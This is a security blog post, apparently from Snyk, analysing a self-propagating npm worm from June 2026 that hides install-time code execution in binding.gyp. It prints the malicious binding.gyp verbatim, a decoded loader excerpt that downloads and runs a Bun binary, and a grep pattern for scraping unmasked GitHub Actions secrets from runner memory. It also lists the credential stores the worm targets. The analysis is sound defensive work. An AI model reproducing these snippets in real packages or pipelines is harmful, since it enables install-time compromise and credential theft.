Snyk Blog In this article TL;DR Affected packages How the attack works The novel part: install-time execution through binding.gyp The payload: a multi-stage Bun-based loader Credential harvesting Exfiltration through GitHub repositories Worm propagation across ecosystems Impact analysis Detection Remediation The bigger picture: A Shai-Hulud descendant Timeline (UTC) Snyk coverage Node-gyp Supply Chain Compromise: A Self-Propagating npm Worm That Hides in binding.gyp Written by Liran Tal June 4, 2026 0 mins read A supply chain attack is actively spreading through the npm registry by abusing a file most security tooling never looks at: binding.gyp . Instead of relying on the well-monitored preinstall or postinstall lifecycle scripts, the malware ships a weaponized binding.gyp that triggers node-gyp to execute attacker-controlled code automatically during npm install . Snyk is tracking the incident as Node-gyp Supply Chain Compromise - June 2026 , covering 57 affected packages across hundreds of malicious versions, all classified as Embedded Malicious Code at Critical severity. The payload harvests developer and CI/CD credentials across npm, GitHub, AWS, GCP, Azure, HashiCorp Vault, and Kubernetes, exfiltrates them through attacker-controlled GitHub repositories, injects GitHub Actions workflows for persistence, and self-propagates by republishing packages from any maintainer account it can reach. StepSecurity, which first reported the campaign, named the install-time technique "Phantom Gyp" and tracks the wider campaign as "Miasma," a descendant of the Shai-Hulud worm family. TL;DR Attack type Supply chain worm via compromised maintainer accounts Novel technique Code execution at install time through binding.gyp / node-gyp , not preinstall / postinstall Snyk tracking Node-gyp Supply Chain Compromise - June 2026 Severity Critical (Embedded Malicious Code) Incident date June 3, 2026 (primary wave); earlier Miasma variant June 1, 2026 Packages compromised 57 packages, hundreds of malicious versions Highest-traffic victims @vapi-ai/server-sdk , ai-sdk-ollama Malware behavior Credential theft, GitHub Actions injection, persistence, worm propagation across npm and RubyGems Immediate action Pin to known-good versions, run npm install --ignore-scripts , rotate all reachable credentials Affected packages Snyk lists 57 affected packages. We confirmed the listed malicious versions are still resolvable on the public registry (for example, all four @vapi-ai/server-sdk versions return live tarballs from registry.npmjs.org ), with publish timestamps on June 3 and 4, 2026. The highest-traffic victims, with weekly download figures from the npm registry API, are: Package Weekly downloads Malicious versions [@vapi-ai/server-sdk](https://security.snyk.io/package/npm/@vapi-ai%2Fserver-sdk) ~86,500 ( api.npmjs.org ) 0.11.1, 0.11.2, 1.2.1, 1.2.2 [ai-sdk-ollama](https://security.snyk.io/package/npm/ai-sdk-ollama) ~36,900 ( api.npmjs.org ) 0.13.1, 1.1.1, 2.2.1, 3.8.5 [autotel](https://security.snyk.io/package/npm/autotel) ~5,900 ( api.npmjs.org ) 2.26.4, 3.4.3 [awaitly](https://security.snyk.io/package/npm/awaitly) ~280 ( api.npmjs.org ) 1.33.3 Most of the 57 packages cluster around a single npm account. Querying the registry shows all 25 autotel and autotel-* packages share the maintainer jagreehal , the same account that publishes the @jagreehal/* scope and awaitly . That single-account concentration is exactly what you would expect from a worm that enumerates and republishes everything one compromised account can touch: autotel-* family (24 packages, plus autotel itself): including autotel-mcp (with versions ranging across 0.1.14 through 29.0.1 ), autotel-subscribers , autotel-terminal , autotel-mongoose , autotel-eventcatalog , autotel-devtools , autotel-aws , autotel-cloudflare , autotel-hono , autotel-playwright , autotel-sentry , and more eslint-plugin-executable-stories-* family (Snyk has covered ESLint-plugin npm supply-chain malware before) @jagreehal/* packages @evolvconsulting/evolv-coder-lite Many of the inflated version numbers (for example, autotel-mcp jumping into the 29.x range, or autotel getting both a 2.26.4 and a 3.4.3 published within the same minute on June 4) are themselves a side effect of the worm's automated republishing, not legitimate releases. The full, continuously updated list of packages and affected versions is on the Snyk incident page . One important detail for remediation: for at least some packages, the latest dist-tag has since been pointed back at a clean release (for autotel , latest now resolves to 3.4.2 , published before the malicious versions), but the malicious versions have not been unpublished . As of writing, autotel@3.4.3 and autotel@2.26.4 still return live tarballs. A fresh npm install autotel may pull the clean version, while any lockfile, exact pin, or transitive dependency that references a malicious version will still fetch the malware. Do not treat a clean latest tag as evidence you are safe. How the attack works The novel part: install-time execution through binding.gyp When you run npm install on a package that contains a binding.gyp file and no matching prebuilt binary, npm hands the package to node-gyp and runs node-gyp rebuild to compile what it assumes is a native C/C++ addon. This is normal, expected behavior for any package with native components, and it happens without a preinstall or postinstall entry anywhere in package.json . GYP's build configuration syntax supports command expansion. The <!(...) form runs a shell command during the configure phase and substitutes its output into the build definition. The compromised packages abuse this directly. Here is the exact 157-byte binding.gyp shipped in @vapi-ai/server-sdk@1.2.2 and autotel@3.4.3 (byte-for-byte identical across the packages we inspected): 1 { 2 "targets": [ 3 { 4 "target_name": "Setup", 5 "type": "none", 6 "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"] 7 } 8 ] 9 } The <!(node index.js ...) expression executes node index.js while node-gyp is merely configuring the build, long before any compiler runs. The "type": "none" target means nothing is actually compiled, so the command expansion's side effect (running index.js ) is the entire point. Output is redirected to /dev/null so the install looks clean, and echo stub.c returns a plausible source filename so gyp continues without obvious error. The result is arbitrary code execution during a routine npm install . Crucially, the package.json in these tarballs contains no preinstall , postinstall , install , or prepare scripts. The only scripts entries are ordinary development tasks ( build , lint , test , format ), and the package does not even declare "gypfile": true . There is nothing in package.json for script-focused tooling to flag; the presence of a binding.gyp file is sufficient for npm to invoke node-gyp on its own. This is why the technique matters: a large amount of supply chain defense, including many --ignore-scripts assumptions, is built around the idea that install-time execution comes from lifecycle scripts. node-gyp invocation is a separate path that fires for any package with a binding.gyp . The payload: a multi-stage Bun-based loader The index.js that binding.gyp triggers is a 4.5 MB obfuscated loader. We decoded the outer layers statically from the published tarball (no execution) and confirmed the following chain: ROT-14 Caesar cipher. The entire file is a single eval over a ~1.3 million entry character-code array, mapped to a string and rotated by 14. The visible wrapper is literally eval(function(s,n){return s.replace(/[a-zA-Z]/g,...rotate...)}([...],14)) . AES-128-GCM self-decrypting layer. The decoded stage is an async IIFE that imports node:crypto and defines an aes-128-gcm decryptor ( createDecipheriv with a 16-byte auth tag), then decrypts two embedded ciphertext blobs whose hex key, IV, and auth tag are hardcoded inline. Bun runtime loader (907-byte blob). The first decrypted blob detects OS and architecture, then downloads a standalone Bun v1.3.13 binary from the official oven-sh/bun GitHub releases into a temp directory and runs it: 1 const url= "https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-" +os+ "-" +a+ ".zip" 2 execSync( 'curl -sSL "' +url+ '" -o "' +zip+ '"' ,{ stdio : "pipe" }) 3 execSync( 'unzip -j -o "' +zip+ '" -d "' +dir+ '"' ,{ stdio : "pipe" }) 4 chmodSync(exe, "755" ) Main payload (~649 KB blob). The second decrypted blob (664,535 bytes) is the stealer logic itself, executed under the downloaded Bun binary rather than the Node.js process that started the install. Running the core logic under a downloaded Bun binary, rather than the node process that started the install, is a deliberate evasion: monitoring scoped to Node.js child processes during npm install will not see the Bun process doing the real work. It also explains why a plaintext-string scan of index.js turns up no credentials or C2 indicators; that behavior lives inside the Bun-executed blob. We did not execute that final Bun stage, so the behavioral catalog below reflects publicly reported analysis of it. Credential harvesting Once executed, the payload sweeps developer and CI/CD environments for secrets, targeting: AWS : aws_access_key_id / aws_secret_access_key , and the IMDSv2 metadata endpoint ( 169.254.169.254 ) GCP : GOOGLE_APPLICATION_CREDENTIALS and service account keys Azure : managed identity tokens via IMDS GitHub Actions : ACTIONS_ID_TOKEN_REQUEST_TOKEN plus runner process memory scraping HashiCorp Vault and Kubernetes : service account tokens from standard paths Password managers : 1Password, pass , and gopass stores In GitHub Actions, the payload scrapes the runner's process memory to pull masked secrets back out in unmasked form, using a pattern like: 1 tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' GitHub Actions secret masking redacts secrets in logs; it does not protect them from a pr